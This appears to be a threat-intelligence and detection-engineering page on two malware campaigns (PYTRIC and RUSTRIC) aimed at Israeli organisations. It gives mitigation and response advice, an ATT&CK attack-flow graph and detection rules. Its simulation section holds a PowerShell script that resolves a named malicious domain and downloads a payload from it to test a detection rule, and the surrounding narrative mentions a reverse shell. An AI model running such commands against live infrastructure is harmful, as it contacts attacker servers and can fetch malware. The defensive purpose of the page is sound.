Follow
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The report outlines two connected campaigns that weaponize malicious PDF and Word documents to deliver payloads that spoof antivirus icons and target Israeli organizations. One track drops PYTRIC, a PyInstaller-packaged Python implant, while the other delivers RUSTRIC, a Rust-based implant launched via a macro-enabled Word document. Both payloads collect host details, run system commands, and probe installed security software; PYTRIC additionally includes destructive functionality. Delivery is driven by spear-phishing attachments and cloud-hosted links (including Dropbox), with Telegram used for command and control.
Investigation
SEQRITE Labs analyzed the initial phishing lures, extracted embedded macros, and rebuilt the dropped payload chain. PYTRIC was confirmed as a PyInstaller bundle with file-discovery and wiping routines, and analysts observed Telegram bot credentials associated with Backup2040. RUSTRIC was profiled as a Rust binary that checks for twenty-eight antivirus products and triggers a hex-encoded payload using WMI. Infrastructure analysis connected the delivery to a Dropbox link and a domain resolving to an IP address previously tied to netvigil.org.
Mitigation
Train users to treat unsolicited PDF and Word attachments with caution—especially files presented as security tools or AV-related utilities. Configure email security to block macro-bearing documents and to flag or restrict URLs pointing to cloud storage hosts used for payload delivery. On endpoints, monitor for PyInstaller execution, unusual WMI process creation, and suspicious invocation of built-in utilities such as whoami, hostname, and nslookup. Blocking identified malicious domains and IPs can further disrupt the infection path.
Response
If activity is detected, isolate the affected system, preserve volatile data, and collect the malicious documents for hash-based triage. Stop any suspicious WMI-spawned processes and remove dropped payloads from common staging locations such as the Downloads folder. Perform forensic validation for file deletion or wiping activity, reset potentially exposed credentials, and monitor for follow-on Telegram C2 communications.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#c2f0c2 classDef malware fill:#ff9999 classDef process fill:#dddddd classDef operator fill:#ff9900 %% Action nodes attack_phishing["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Victims receive email with malicious PDF or Word attachment."] class attack_phishing action attack_user_exec["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Victim opens the malicious PDF or Word document, triggering execution."] class attack_user_exec action attack_ingress_transfer["<b>Action</b> – <b>T1105 Ingress Tool Transfer</b><br/>The PDF instructs the victim to download a secondu2011stage payload from Dropbox."] class attack_ingress_transfer action attack_exec_python["<b>Action</b> – <b>T1059.006 Command and Scripting Interpreter: Python</b><br/>PYTRIC (PyInstalleru2011packed Python executable) runs on the host."] class attack_exec_python action attack_exec_vb["<b>Action</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/>VBA macros in the Word document decode and write the final payload to disk."] class attack_exec_vb action attack_masquerade["<b>Action</b> – <b>T1036.005 Masquerading: Match Legitimate Name or Location</b><br/>Binaries are named to mimic trusted antivirus vendors (Check Point, SentinelOne)."] class attack_masquerade action attack_obfuscate["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>Payload is hexu2011encoded inside the macro to avoid static detection."] class attack_obfuscate action attack_proxy_exec["<b>Action</b> – <b>T1218 System Binary Proxy Execution</b><br/>Legitimate binaries (wmic, whoami.exe, hostname.exe, nslookup.exe) are used to run commands."] class attack_proxy_exec action attack_wmi["<b>Action</b> – <b>T1047 Windows Management Instrumentation</b><br/>RUSTRIC is launched via WMI (Win32_Process.Create)."] class attack_wmi action attack_sw_discovery["<b>Action</b> – <b>T1518.001 Security Software Discovery</b><br/>RUSTRIC enumerates 28 antivirus/EDR products by checking known paths and processes."] class attack_sw_discovery action attack_process_discovery["<b>Action</b> – <b>T1057 Process Discovery</b><br/>RUSTRIC lists running processes on the endpoint."] class attack_process_discovery action attack_c2_web["<b>Action</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Implants communicate with C2 over standard web protocols."] class attack_c2_web action attack_c2_port["<b>Action</b> – <b>T1571 Nonu2011Standard Port</b><br/>Communication occurs over HTTPS on port 443."] class attack_c2_port action attack_subvert_trust["<b>Action</b> – <b>T1553 Subvert Trust Controls</b><br/>Binaries are disguised with icons/branding of legitimate security vendors."] class attack_subvert_trust action attack_impair_defenses["<b>Action</b> – <b>T1562.011 Impair Defenses: Spoof Security Alerting</b><br/>Fake security alerts reinforce the trusted appearance of malicious binaries."] class attack_impair_defenses action %% Tool nodes tool_wmic["<b>Tool</b> – <b>Name</b>: wmic<br/><b>Description</b>: Windows Management Instrumentation command-line utility."] class tool_wmic tool tool_whoami["<b>Tool</b> – <b>Name</b>: whoami.exe<br/><b>Description</b>: Outputs the current user name."] class tool_whoami tool tool_hostname["<b>Tool</b> – <b>Name</b>: hostname.exe<br/><b>Description</b>: Returns the host name of the machine."] class tool_hostname tool tool_nslookup["<b>Tool</b> – <b>Name</b>: nslookup.exe<br/><b>Description</b>: DNS query utility."] class tool_nslookup tool %% File nodes file_malicious_pdf["<b>File</b> – <b>Name</b>: Malicious PDF<br/><b>Purpose</b>: Delivery vector for initial instruction."] class file_malicious_pdf file file_malicious_word["<b>File</b> – <b>Name</b>: Malicious Word<br/><b>Purpose</b>: Contains VBA macro that decodes final payload."] class file_malicious_word file file_dropbox["<b>File</b> – <b>Name</b>: Dropbox payload link<br/><b>Purpose</b>: Hosts secondu2011stage PYTRIC executable."] class file_dropbox file %% Malware nodes malware_pytric["<b>Malware</b> – <b>Name</b>: PYTRIC<br/><b>Description</b>: PyInstalleru2011packed Python backdoor."] class malware_pytric malware malware_rustric["<b>Malware</b> – <b>Name</b>: RUSTRIC<br/><b>Description</b>: WMIu2011executed component used for discovery and C2."] class malware_rustric malware %% Operator node for branching op_and1(("AND")) class op_and1 operator %% Connections attack_phishing –>|delivers| file_malicious_pdf attack_phishing –>|delivers| file_malicious_word file_malicious_pdf –>|opened by victim| attack_user_exec file_malicious_word –>|opened by victim| attack_user_exec attack_user_exec –>|triggers| attack_ingress_transfer attack_ingress_transfer –>|downloads| file_dropbox file_dropbox –>|provides| malware_pytric attack_user_exec –>|executes| attack_exec_vb attack_exec_vb –>|writes| malware_rustric attack_ingress_transfer –>|executes| attack_exec_python attack_exec_python –>|runs| malware_pytric malware_pytric –>|uses| attack_obfuscate malware_pytric –>|uses| attack_masquerade attack_obfuscate –>|supports| attack_proxy_exec attack_masquerade –>|supports| attack_proxy_exec attack_proxy_exec –>|calls| tool_wmic attack_proxy_exec –>|calls| tool_whoami attack_proxy_exec –>|calls| tool_hostname attack_proxy_exec –>|calls| tool_nslookup tool_wmic –>|launches| attack_wmi attack_wmi –>|executes| malware_rustric malware_rustric –>|performs| attack_sw_discovery malware_rustric –>|performs| attack_process_discovery attack_sw_discovery –>|feeds into| attack_c2_web attack_process_discovery –>|feeds into| attack_c2_web attack_c2_web –>|uses| attack_c2_port attack_c2_web –>|enables| attack_subvert_trust attack_c2_web –>|enables| attack_impair_defenses %% Styling class attack_phishing,attack_user_exec,attack_ingress_transfer,attack_exec_python,attack_exec_vb,attack_masquerade,attack_obfuscate,attack_proxy_exec,attack_wmi,attack_sw_discovery,attack_process_discovery,attack_c2_web,attack_c2_port,attack_subvert_trust,attack_impair_defenses action class tool_wmic,tool_whoami,tool_hostname,tool_nslookup tool class file_malicious_pdf,file_malicious_word,file_dropbox file class malware_pytric,malware_rustric malware class op_and1 operator "
Attack Flow
Detections
Possible Telegram Abuse As Command And Control Channel (via dns_query)
View
Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via dns)
View
Possible System Enumeration (via cmdline)
View
IOCs (SourceIP) to detect: UNG0801: Tracking Threat Clusters obsessed with AV Icon Spoofing targeting Israel
View
IOCs (DestinationIP) to detect: UNG0801: Tracking Threat Clusters obsessed with AV Icon Spoofing targeting Israel
View
IOCs (HashSha256) to detect: UNG0801: Tracking Threat Clusters obsessed with AV Icon Spoofing targeting Israel
View
C2 Communication Using Specific Domain and IP [Windows Network Connection]
View
Detection of Malicious PDF and Implant Execution in Operation IconCat [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
The adversary has pre‑registered the domain stratioai.org and configured it to resolve to 159.198.68.25 (a compromised VPS). Using a PowerShell one‑liner, they initiate a C2 beacon that downloads a small payload and then maintains a persistent reverse‑shell. The outbound connection is made over HTTPS (port 443) to blend with normal traffic, but the firewall logs the destination IP and the DNS query, satisfying the sigma rule. -
Regression Test Script:
# ------------------------------------------------- # Simulated C2 beacon for detection validation # ------------------------------------------------- # 1. Resolve the malicious domain (forces DNS query) $maliciousDomain = "stratioai.org" $resolved = [System.Net.Dns]::GetHostAddresses($maliciousDomain) Write-Host "Resolved $maliciousDomain to $($resolved -join ', ')" # 2. Establish HTTPS connection to the malicious IP (C2) $maliciousIP = "159.198.68.25" $url = "https://$maliciousDomain/payload.bin" try { $response = Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 10 Write-Host "C2 request succeeded, size: $($response.ContentLength) bytes" } catch { Write-Error "C2 request failed: $_" } # 3. OPTIONAL: Keep the channel alive for 30 seconds Start-Sleep -Seconds 30 # ------------------------------------------------- -
Cleanup Commands:
# Remove any temporary files (none created in this script) # Clear DNS cache to avoid accidental reuse ipconfig /flushdns Write-Host "Cleanup complete."